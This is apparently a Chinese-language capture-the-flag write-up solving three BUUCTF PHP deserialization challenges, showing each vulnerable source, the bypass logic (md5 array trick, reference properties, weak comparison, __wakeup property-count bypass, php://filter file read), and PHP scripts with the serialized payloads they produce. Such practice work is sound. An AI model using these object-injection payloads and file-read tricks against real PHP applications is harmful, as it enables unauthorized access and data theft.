BUU上的三个题。
BUU CODE REVIEW 1
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
页面代码如上,需要五个参数,pleaseget,pleasepost,md51,md52,obj。
这其中需要pleaseget和pleasepost分别强等于1和2,md51和md52不一样,但md5编码后一样,可以使用数组绕过。下面构造obj。
obj的反序列化会触发__destruct
魔术方法,根据里面的内容correct会被随机赋值,我们要得到flag,就要让correct和input相等即可。
构造php脚本:
<?php
class BUU {
public $correct = "";
public $input = "";
}
$a=new BUU();
$a->correct="";
$a->input=&$a->correct;//input和correct的值相等。
echo serialize($a);
?>
输出结果:O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
进行输入获取flag:
[网鼎杯 2020 青龙组]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;//构造脚本时换成public,否则产生的字符会超出范围。
protected $filename;
protected $content;
function __construct() {//不会被触发
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();//调用write函数
} else if($this->op == "2") {
$res = $this->read();//调用read函数
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {//判断字符串长度
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);//将某字符写入某文件
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);//读取文件获取flag,故而要使op=2
}
return $res;
}
private function output($s) {//输出函数
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")//需要绕过,这里是强等于,上面是弱等于,那只需让op等于2,但数据类型不是字符即可。
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))//传参数据的ascll码值必须大于等于32,小于等于125。
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {//if里面调用了is_valid函数
$obj = unserialize($str);
}
}
构造脚本:
<?php
class FileHandler {
public $op=2;
public $filename='flag.php';//这里的`flag.php`可以换成php://filter/read=convert.base64-encode/resource=flag.php
public $content;
}
$a=new FileHandler();
echo serialize($a);
?>
构造结果:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}或O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
区别:
简单的flag.php,文件不会显示到页面上,需要产看源代码即可看到。
php://filter/read=convert.base64-encode/resource=flag.php会对文件进行过滤,最终文件内容会以base64编码的形式呈现在页面上,进行解码即可见到。
[极客大挑战 2019]PHP
本题先使用dirsearch进行扫描,扫描时间有点长。
扫描完成后会获取到一个www.zip文件,在url中输入,下载完成可以得到flag.php,class.php,index.php三个文件。flag文件中没有什么内容,可以不看了,index是页面小猫的代码,里面有个传参的代码。
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>//传递的参数是select。
下面着重看class代码。
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';//这里是private,我们需要将空字符输入,可以使用base64编码再解码输入。可以在BP中操作。
private $password = 'yesyes';
public function __construct($username,$password){//不会触发
$this->username = $username;
$this->password = $password;
}
function __wakeup(){//修改username的值,要进行绕过,即参数个数要比实际参数个数大
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {//确保password是100
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {//要使条件成立
global $flag;//获取flag
echo $flag;//输出flag
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
构造脚本:
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$a=new Name();
echo serialize($a);
?>
编码结果:Tzo0OiJOYW1lIjozOntzOjE0OiIATmFtZQB1c2VybmFtZSI7czo1OiJhZG1pbiI7czoxNDoiAE5hbWUAcGFzc3dvcmQiO3M6MzoiMTAwIjt9